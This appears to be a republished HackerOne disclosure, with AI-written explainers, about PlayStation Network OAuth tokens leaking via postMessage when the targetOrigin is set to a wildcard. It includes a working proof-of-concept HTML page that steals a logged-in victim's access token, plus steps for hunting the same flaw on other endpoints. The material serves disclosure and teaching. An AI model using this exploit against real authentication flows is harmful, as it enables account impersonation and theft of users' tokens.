Skip to content
XSS Disclosed report Intermediate

Authorization Token on PlayStation Network Leaks via postMessage function

The PlayStation Network authentication endpoint sends OAuth tokens via postMessage to a target origin controlled by a URL parameter. An attacker could open the endpoint from a malicious page with a wildcard target origin and steal the victim's access token.

nnez Follow

Originally disclosed on HackerOne

Bounty$1,000 High View original
  • Triaged in 30 hours
  • Fixed in 5 months
  • Paid in 9 days
  • Disclosed after 8 months

Summary by the program

Description

After some analysis on how playstation network authentication work, I came across a certain pattern of how authorization tokens are handled. The web application utilizes postMessage function to exchange authorization tokens between windows/frames.

To simplify this, let's follow on one of authorization flows. When you enter, https://my.playstation.com There is a request to

https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Diframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com&prompt=none

to get an authorization token for corresponding scopes in the above URL. If user is already authenticated and has permission for all of the scopes, the redirection will be made to redirect_uri which is https://my.playstation.com/auth/response.html?requestID=iframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2&baseUrl=/&targetOrigin=https://my.playstation.com&prompt=none

The request is made using an iframe and the token will be sent back via postMessage and the problem lies on how this authorization token is sent. Consider the javascript function (view source on above URL) responsible for sending token back.

function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href =
                h : window.location.href = "https://playstation.com/error"
    }
}
```

If the requestID starts with window, the token will be sent back to window.opener instead of window.parent and targetOrigin is controlled by user via GET parameter with the same name.

Therefore, if the authorization endpoint is opened from a malicious page via window.open and target origin is set to * (wildcard), the token will be sent back to malicious page.

Here is a PoC code I wrote to demonstrate this

```
<!Doctype HTML>
<html>
    <head>
        <title>PlayStation Authorization Token Leaks via postMessage</title>
    </head>
    <body>
        <script type="text/javascript">
        window.addEventListener("load", () => {
            document.getElementById("startBtn").addEventListener("click", () => {
                var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dwindow_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3D*&prompt=none', 'mywindow');
                window.onmessage = (e) => {
                    document.getElementById("token-plate").innerText = JSON.stringify(e.data);
                }
            });
        });
        </script>
        <h1>PlayStation Authorization Token Leaks via postMessage</h1>
        <button id="startBtn" style='padding: 0.5em; font-size: 1.2em; width: 200px;'>Start</button>
        <div id="token-plate" style="margin: 1em; padding: 1.2em; border: 1px solid #ddd;">
            <em>Token Plate</em>
        </div>
        <footer>
            @nnez | HackerOne
        </footer>
    </body>
</html>
```

# Steps to Reproduce
Login on playstation network, maybe at https://my.playstation.com or https://store.playstation.com
Go to malicious page with provided code, or you can go to this PoC I hosted, http://nnez-poc.000webhostapp.com/e1f47833ad18d94a20780d81f8060c79.html
Click on start button, after the window is opened, navigate back and you will see access token in the box.

# Additional Notes
This also happened on other endpoints with the same code base such as

https://social.playstation.com/starblaster2/pdc/master/auth/response-6bd54237a5ffea223e2784fcd88c34e1.html?requestID=iframe_request_f179f207-79d8-4659-b1d4-f85e6c57a212&baseUrl=/starblaster2/pdc/master/&targetOrigin=https://store.playstation.com

but with different range of permission scopes.


# Impact
An authorization token on my.playstation.com would allow an attacker to impersonate as a victim, access to sensitive information, post on victim news feed
An authorization token on social.playstation.com would allow an attacker to impersonate as a victim, access to friends list and chat with victim's friends.

The original report as published on HackerOne, by nnez. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

PlayStation Network's web authentication relies on OAuth-style authorization tokens issued by auth.api.sonyentertainmentnetwork.com and handed to the various PlayStation web properties. The researcher analysed how this flow works and found a pattern in the way authorization tokens are exchanged between windows and frames: the web application uses the postMessage function for that exchange.

The asset in scope is my.playstation.com, but the same code base is also present on other endpoints, as noted further down.

Setup

The only precondition is a logged-in PlayStation Network session. The researcher suggests logging in at https://my.playstation.com or https://store.playstation.com. No special tools are needed beyond a browser and a page the attacker controls; the researcher wrote a small HTML page as the proof of concept.

Finding it

After some analysis of how PlayStation Network authentication works, the researcher noticed a certain pattern of how authorization tokens are handled: the application uses postMessage to exchange authorization tokens between windows and frames.

Following one of the authorization flows makes the pattern visible. When you enter https://my.playstation.com, a request is made to:

HTTP
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%[redacted]%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%[redacted]%2Ckamaji%[redacted]%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Diframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com&prompt=none

This request obtains an authorization token for the corresponding scopes listed in the URL. If the user is already authenticated and has permission for all of those scopes, the redirection is made to the redirect_uri, which is:

HTTP
https://my.playstation.com/auth/response.html?requestID=iframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2&baseUrl=/&targetOrigin=https://my.playstation.com&prompt=none

The request is made using an iframe, and the token is sent back via postMessage. The problem lies in how that authorization token is sent. The JavaScript function responsible for sending the token back, visible in the source of the URL above, is:

JavaScript
function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href =
                h : window.location.href = "https://playstation.com/error"
    }
}

The frame type is derived from the requestID. If the requestID starts with window, the token is sent back to window.opener instead of window.parent, and the target origin is controlled by the user through the GET parameter of the same name (targetOrigin).

That combination is what makes the flow dangerous: if the authorization endpoint is opened from a malicious page via window.open and the target origin is set to * (wildcard), the token is sent back to the malicious page.

Exploitation

Step 1: Prepare a malicious page

The researcher wrote the following PoC page. It opens the authorization endpoint in a new window and listens for the incoming message.

HTML
<!Doctype HTML>
<html>
    <head>
        <title>PlayStation Authorization Token Leaks via postMessage</title>
    </head>
    <body>
        <script type="text/javascript">
        window.addEventListener("load", () => {
            document.getElementById("startBtn").addEventListener("click", () => {
                var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%[redacted]%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%[redacted]%2Ckamaji%[redacted]%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dwindow_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3D*&prompt=none', 'mywindow');
                window.onmessage = (e) => {
                    document.getElementById("token-plate").innerText = JSON.stringify(e.data);
                }
            });
        });
        </script>
        <h1>PlayStation Authorization Token Leaks via postMessage</h1>
        <button id="startBtn" style='padding: 0.5em; font-size: 1.2em; width: 200px;'>Start</button>
        <div id="token-plate" style="margin: 1em; padding: 1.2em; border: 1px solid #ddd;">
            <em>Token Plate</em>
        </div>
        <footer>
            @nnez | HackerOne
        </footer>
    </body>
</html>

The important differences from the legitimate flow are in the redirect_uri parameter. The requestID value is window_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2 instead of an iframe_request_... value, which makes extractFrameTypeFromRequestID return window and routes the token to window.opener. The targetOrigin value is * instead of https://my.playstation.com, so the postMessage call has no origin restriction. The page registers window.onmessage and writes whatever arrives into the token-plate element.

Step 2: Log in to PlayStation Network

Log in to PlayStation Network, for example at https://my.playstation.com or https://store.playstation.com. The flow only returns a token when the user is already authenticated and has permission for all of the requested scopes, which is why the prompt=none parameter is present.

Step 3: Visit the malicious page and click Start

Go to the malicious page with the code above, or to the PoC the researcher hosted at http://nnez-poc.000webhostapp.com/[redacted].html. Click the start button. The authorization endpoint opens in a new window; after the window is opened, navigate back and the access token appears in the box.

Root cause

The sendResponseToApp function trusts two values that come from the request: the frame type encoded in requestID and the targetOrigin GET parameter. The frame type decides the recipient of the message (window.parent for iframe, window.opener for window), and targetOrigin is passed straight into postMessage as the target origin. When the authorization endpoint is opened with window.open from an attacker page, window.opener is that attacker page, and targetOrigin=* removes the only check the browser would otherwise apply to the recipient. The external branch, by contrast, validates the constructed URL against a regular expression restricted to https:// hosts under playstation.com, so the redirect path is constrained while the postMessage path is not.

Impact

An authorization token on my.playstation.com would allow an attacker to impersonate a victim, access sensitive information and post on the victim's news feed. An authorization token on social.playstation.com would allow an attacker to impersonate a victim, access the friends list and chat with the victim's friends.

Both depend on the victim being logged in and having granted the requested scopes.

Variants to test

The researcher notes that the same code base also appeared on other endpoints, with a different range of permission scopes, for example:

HTTP
https://social.playstation.com/starblaster2/pdc/master/auth/response-[redacted].html?requestID=iframe_request_f179f207-79d8-4659-b1d4-f85e6c57a212&baseUrl=/starblaster2/pdc/master/&targetOrigin=https://store.playstation.com

That suggests a concrete testing approach for similar targets:

  1. Find every response.html-style endpoint that receives a requestID, baseUrl and targetOrigin and calls postMessage. A positive result is a page whose source contains a sendResponseToApp-like function that switches on a frame type extracted from requestID.
  2. Change the requestID prefix from iframe_request_... to window_request_... and set targetOrigin=*, then open the URL with window.open from a page you control. A positive result is the token arriving in your onmessage handler.
  3. Repeat against each PlayStation property that shares the code base, since the scopes differ per endpoint and so does the impact.

Fix

The report does not describe a fix or a change made by the program. The code shows the shape a fix would take: do not let the request choose the recipient origin, and do not accept a wildcard target origin for a message that carries a token. The external branch already demonstrates origin validation against a playstation.com allowlist, which the postMessage branches lack.

Hunting notes

This kind of bug hides in shared authentication helper code: a single response page reused by many subdomains, with the frame type and target origin taken from query parameters. During recon, look for response.html or similarly named callback pages, requestID parameters with an iframe_ or window_ prefix, and targetOrigin parameters in redirect URIs. Reading the page source for postMessage calls whose second argument is a variable rather than a literal is the quickest signal. The researcher demonstrated impact by showing the token arriving in the attacker page and by naming the concrete actions each token enables on my.playstation.com and social.playstation.com.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

PlayStation Network is the account system you use for Sony's consoles and websites. When you log in to a PlayStation website, the site does not keep asking for your password on every page. Instead, a central login service hands out a short piece of text called an authorization token. Think of it like a cloakroom ticket: you show your password once, you get a ticket, and from then on you show the ticket to prove who you are. Anyone holding the ticket can act as you until it expires.

The researcher looked at how these tickets travel between the different parts of the PlayStation websites. Browsers have a built-in way for one window or frame to send a message to another window or frame, called postMessage. PlayStation used it to pass the token from the login service back to the page that asked for it. The problem was in how the destination of that message was chosen: the page that asked for the token could also say where the token should be sent, and it could say "send it anywhere".

So an attacker could build a page that asks PlayStation for a token on the victim's behalf and tells it to send the token back to the attacker's page. If the victim is logged in and visits the attacker's page, the token lands in the attacker's hands, and the attacker can then act as the victim.

Background you need first

A few ideas come up again and again below, so here they are from zero.

  • A website and a web application. A website is a set of pages your browser downloads and displays. A web application is a website that also does work for you: it logs you in, fetches your data, lets you post things. my.playstation.com is a web application.
  • An API. An API is a way for one piece of software to ask another piece of software to do something, without a human clicking. Think of a restaurant: you do not walk into the kitchen, you tell the waiter what you want and the waiter brings it. The API is the waiter. auth.api.sonyentertainmentnetwork.com is the waiter that handles logins for PlayStation.
  • A token. A token is a long string of characters that stands in for your password after you have logged in. The site stores it and sends it with every request so the server knows who you are. If someone else gets your token, they can pretend to be you without knowing your password.
  • OAuth. OAuth is a standard way for one website to get permission to act on your behalf at another website, without ever seeing your password. You have seen it when a site offers "log in with Google". The site asks the login service for a token, and the login service gives one back if you are already logged in and you agree to the permissions requested.
  • Scopes. A scope is a named permission. When a site asks for a token, it lists the scopes it wants, such as "read your profile" or "post to your news feed". The login service only issues a token if you have agreed to all of them. In the URLs below, the scope= part is a long list of these permissions.
  • An iframe. An iframe is a small window embedded inside a web page, showing another page. Think of a picture-in-picture television inside a television. Websites use iframes to show content from another site without leaving the page.
  • A popup window. A popup is a separate browser window opened by a page, usually with window.open. The page that opened it is called the opener, and the popup can talk back to it.
  • postMessage. This is a browser function that lets one window or frame send a message to another window or frame, even when they come from different websites. Because the two sides may be different sites, the sender has to say which origin (which website address) is allowed to receive the message. If the sender says *, that means "any website at all may receive this".
  • Origin. An origin is the combination of protocol, host and port, for example https://my.playstation.com. Browsers use it to decide which pages are allowed to talk to each other.
  • The vulnerability class. This report is filed under "Violation of Secure Design Principles". In plain terms, the design of the token handover let the requester decide where the secret goes, instead of the server deciding. The secret was handed to whoever asked, with no check that the asker was trustworthy.

The setup

The only thing you need is a logged-in PlayStation Network account. The researcher suggests logging in at https://my.playstation.com or https://store.playstation.com. No special software is required: a browser and a page the attacker controls are enough. The researcher wrote a small HTML page as the proof of concept, which is shown further down.

Finding it

After analysing how PlayStation Network authentication works, the researcher noticed a pattern in how authorization tokens are handled: the application uses postMessage to exchange tokens between windows and frames.

To see the pattern, follow one of the login flows. When you open https://my.playstation.com, the page makes a request to this address:

HTTP
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%[redacted]%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%[redacted]%2Ckamaji%[redacted]%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Diframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com&prompt=none

What each part of that address means:

  • auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize is the login service's endpoint, the door you knock on to ask for a token.
  • response_type=token says "give me a token back".
  • scope= followed by the long encoded list is the set of permissions being requested. The %3A you see is just an encoded colon and %2C an encoded comma, so the list is readable as names like capone:report_submission and kamaji:game_list.
  • client_id=656ace0b-d627-47e6-915c-13b259cd06b2 identifies which application is asking. It is a public identifier, not a secret.
  • redirect_uri= is where the login service should send the token afterwards. It is itself a URL, so its own parameters are encoded: %3F is a question mark, %26 an ampersand, %3D an equals sign. Decoded, it points to https://my.playstation.com/auth/response.html with three parameters: requestID=iframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2, baseUrl=/ and targetOrigin=https://my.playstation.com.
  • prompt=none tells the login service not to show any login screen. If you are already logged in and have agreed to all the scopes, it answers silently.

If the user is already logged in and has permission for all of those scopes, the browser is redirected to the redirect_uri, which is:

HTTP
https://my.playstation.com/auth/response.html?requestID=iframe_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2&baseUrl=/&targetOrigin=https://my.playstation.com&prompt=none

This is the same address as the encoded redirect_uri above, now written out in the clear. The requestID starts with iframe_request_, which is a hint about how the token will be delivered: the request was made from an iframe, so the answer should go back to the parent page that contains the iframe.

The request is made using an iframe, and the token is sent back with postMessage. The problem is in how that token is sent. The JavaScript function responsible for sending it back can be seen by viewing the source of the page above:

JavaScript
function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ? window.location.href =
                h : window.location.href = "https://playstation.com/error"
    }
}

Line by line, in plain words:

  • function sendResponseToApp(a) { defines a function that takes one argument, a. That argument is the bundle of data that includes the token and the parameters from the request.
  • var b = extractFrameTypeFromRequestID(a.requestID), reads the requestID from the request and pulls out its type. A requestID beginning with iframe_request_ gives iframe; one beginning with window_request_ gives window. The type is stored in b.
  • c = a.targetOrigin || getOrigin(), sets c to the targetOrigin value supplied in the request. If no value was supplied, it falls back to getOrigin(), the page's own origin. This is the value that will later be used as the allowed recipient of the message.
  • d = a.baseUrl || "", takes the baseUrl parameter, or an empty string if it is missing.
  • e = a.returnRoute || "", takes an optional returnRoute parameter, or an empty string.
  • f = a.excludeQueryParams, reads a flag that says whether to leave the query string off the final URL.
  • g = !f && window.location.search || ""; sets g to the current page's query string (the part of the address after the question mark) unless that flag is set, in which case it is empty.
  • switch (b) { now branches on the frame type worked out earlier.
  • case "iframe": if the type is iframe, then window.parent.postMessage(a, c); sends the data to the page that contains this one, allowing only the origin in c to receive it. break; ends this branch.
  • case "window": if the type is window, then window.opener.postMessage(a, c); sends the data to the window that opened this one, again allowing only the origin in c. break; ends this branch.
  • case "external": and default: handle everything else. var h = constructUrl(c, d, e) + g; builds a URL from the origin, base URL, return route and query string. The next line tests that URL against a pattern that only accepts https:// addresses whose host ends in playstation.com, optionally with a port, followed by a slash. If the test passes, the browser is sent to that URL with window.location.href = h; if it fails, the browser is sent to https://playstation.com/error instead.

The key observation: the frame type comes from the requestID, and the target origin comes from a GET parameter. If the requestID starts with window, the token goes back to window.opener instead of window.parent, and the target origin is whatever the requester put in the targetOrigin parameter.

That combination is what makes the flow dangerous. If the authorization endpoint is opened from a malicious page with window.open, then window.opener is the malicious page. If the target origin is set to *, the wildcard, the browser applies no restriction on who may receive the message. The token is then delivered straight to the attacker.

Exploitation

Step 1: Prepare a malicious page

The researcher wrote the following proof-of-concept page. It opens the authorization endpoint in a new window and listens for the incoming message.

HTML
<!Doctype HTML>
<html>
    <head>
        <title>PlayStation Authorization Token Leaks via postMessage</title>
    </head>
    <body>
        <script type="text/javascript">
        window.addEventListener("load", () => {
            document.getElementById("startBtn").addEventListener("click", () => {
                var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%[redacted]%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%[redacted]%2Ckamaji%[redacted]%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dwindow_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2%26baseUrl%3D%2F%26targetOrigin%3D*&prompt=none', 'mywindow');
                window.onmessage = (e) => {
                    document.getElementById("token-plate").innerText = JSON.stringify(e.data);
                }
            });
        });
        </script>
        <h1>PlayStation Authorization Token Leaks via postMessage</h1>
        <button id="startBtn" style='padding: 0.5em; font-size: 1.2em; width: 200px;'>Start</button>
        <div id="token-plate" style="margin: 1em; padding: 1.2em; border: 1px solid #ddd;">
            <em>Token Plate</em>
        </div>
        <footer>
            @nnez | HackerOne
        </footer>
    </body>
</html>

What each part does:

  • <!Doctype HTML> and the <html>, <head>, <title> and <body> tags are the ordinary skeleton of a web page. The title is just the text shown in the browser tab.
  • window.addEventListener("load", () => { waits until the page has finished loading before doing anything. This matters because the code needs the button to exist before it can attach a click handler to it.
  • document.getElementById("startBtn").addEventListener("click", () => { finds the button with the id startBtn and says: when it is clicked, run the following.
  • var x = window.open('...', 'mywindow'); opens a new browser window showing the long PlayStation address, and names that window mywindow. This is the popup. Because the popup was opened by this page, this page is its opener.
  • window.onmessage = (e) => { sets up a listener for messages arriving at this page. e is the message event, and e.data is its contents.
  • document.getElementById("token-plate").innerText = JSON.stringify(e.data); takes whatever arrived and writes it into the box with the id token-plate, converting it to text first. This is where the stolen token will appear.
  • The <button id="startBtn" ...>Start</button> is the button the user clicks.
  • The <div id="token-plate" ...> is the box that will display the token.
  • The <footer> contains a credit line.

The important differences from the legitimate flow are inside the redirect_uri parameter of the long address:

  • The requestID value is window_request_57d5021b-c4d4-45ad-a8e9-99bf3cd11bb2 instead of an iframe_request_... value. That makes extractFrameTypeFromRequestID return window, which routes the token to window.opener, the page that opened the popup.
  • The targetOrigin value is * instead of https://my.playstation.com. That means the postMessage call has no origin restriction, so any page, including the attacker's, may receive the message.
  • The page registers window.onmessage and writes whatever arrives into the token-plate element, so the token is displayed on screen.

Step 2: Log in to PlayStation Network

Log in to PlayStation Network, for example at https://my.playstation.com or https://store.playstation.com. The flow only returns a token when the user is already logged in and has permission for all of the requested scopes. That is why the prompt=none parameter is present: it tells the login service to answer silently rather than show a login or consent screen.

Step 3: Visit the malicious page and click Start

Go to the malicious page with the code above, or to the proof of concept the researcher hosted at http://nnez-poc.000webhostapp.com/[redacted].html. Click the start button. The authorization endpoint opens in a new window. After the window is opened, navigate back to the attacker's page and the access token appears in the box.

Root cause

The sendResponseToApp function trusts two values that come from the request: the frame type encoded in requestID and the targetOrigin GET parameter. The frame type decides who receives the message: window.parent for iframe, window.opener for window. The targetOrigin value is passed straight into postMessage as the allowed recipient. When the authorization endpoint is opened with window.open from an attacker page, window.opener is that attacker page, and targetOrigin=* removes the only check the browser would otherwise apply to the recipient.

The external branch, by contrast, validates the constructed URL against a regular expression restricted to https:// hosts under playstation.com. So the redirect path is constrained, while the postMessage path is not.

Impact

An authorization token on my.playstation.com would allow an attacker to impersonate a victim, access sensitive information and post on the victim's news feed. An authorization token on social.playstation.com would allow an attacker to impersonate a victim, access the friends list and chat with the victim's friends.

Both depend on the victim being logged in and having granted the requested scopes.

Variants to test

The researcher notes that the same code base also appeared on other endpoints, with a different range of permission scopes, for example:

HTTP
https://social.playstation.com/starblaster2/pdc/master/auth/response-[redacted].html?requestID=iframe_request_f179f207-79d8-4659-b1d4-f85e6c57a212&baseUrl=/starblaster2/pdc/master/&targetOrigin=https://store.playstation.com

This is a different PlayStation site, social.playstation.com, with a response page whose name is a long hash rather than response.html. It takes the same three parameters: requestID, baseUrl and targetOrigin. The requestID here starts with iframe_request_ and the targetOrigin is https://store.playstation.com, so this is the legitimate shape of the request, not the attack. The point is that the same code is reused, so the same trick may work there too, with different permissions attached to the token.

That suggests a concrete testing approach for similar targets:

  1. Find every response.html-style endpoint that receives a requestID, baseUrl and targetOrigin and calls postMessage. A positive result is a page whose source contains a sendResponseToApp-like function that switches on a frame type extracted from requestID.
  2. Change the requestID prefix from iframe_request_... to window_request_... and set targetOrigin=*, then open the URL with window.open from a page you control. A positive result is the token arriving in your onmessage handler.
  3. Repeat against each PlayStation property that shares the code base, since the scopes differ per endpoint and so does the impact.

Fix

The report does not describe a fix or a change made by the program. The code shows the shape a fix would take: do not let the request choose the recipient origin, and do not accept a wildcard target origin for a message that carries a token. The external branch already demonstrates origin validation against a playstation.com allowlist, which the postMessage branches lack.

Hunting notes

This kind of bug hides in shared authentication helper code: a single response page reused by many subdomains, with the frame type and target origin taken from query parameters. During recon, look for response.html or similarly named callback pages, requestID parameters with an iframe_ or window_ prefix, and targetOrigin parameters in redirect URIs. Reading the page source for postMessage calls whose second argument is a variable rather than a literal is the quickest signal. The researcher demonstrated impact by showing the token arriving in the attacker page and by naming the concrete actions each token enables on my.playstation.com and social.playstation.com.

Glossary

  • API: a way for one piece of software to ask another to do something, without a human clicking; the waiter between your browser and a server.
  • Authorization token: a string of characters issued after login that stands in for your password on later requests; anyone holding it can act as you until it expires.
  • Client ID: a public identifier that tells a login service which application is asking for a token; not a secret.
  • Cookie: a small piece of data a website stores in your browser and sends back with each request, often used to keep you logged in.
  • CVSS: a scoring system for rating the severity of a security flaw.
  • Endpoint: a specific address on a server that accepts requests and does something, such as issuing a token.
  • Frame type: in this report, the part of the requestID that says whether the request came from an iframe or a popup window, and therefore where the answer should go.
  • GET parameter: a value attached to the end of a URL after a question mark, in the form name=value, used to pass information to a page.
  • Iframe: a small window embedded inside a web page that shows another page.
  • OAuth: a standard way for one site to get permission to act on your behalf at another site without seeing your password.
  • Opener: the page or window that opened a popup; the popup can send messages back to it.
  • Origin: the combination of protocol, host and port, such as https://my.playstation.com, used by browsers to decide which pages may talk to each other.
  • postMessage: a browser function that lets one window or frame send a message to another, with a stated allowed recipient origin.
  • Proof of concept (PoC): a small, working demonstration that a security flaw is real.
  • Query string: the part of a URL after the question mark, carrying parameters.
  • Redirect URI: the address a login service sends the user (and the token) back to after a login request.
  • Regular expression: a pattern used to test whether text matches a rule, such as "must start with https:// and end in playstation.com".
  • Scope: a named permission a token carries, such as reading a profile or posting to a news feed.
  • Wildcard (*): a symbol meaning "anything"; as a postMessage target origin it means any website may receive the message.
  • window.open: a browser function that opens a new window or tab from a page.
  • window.parent: the page that contains the current iframe.
  • window.opener: the page that opened the current popup window.

More by nnez

View all

32 more disclosed reports, best first.

More from PlayStation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.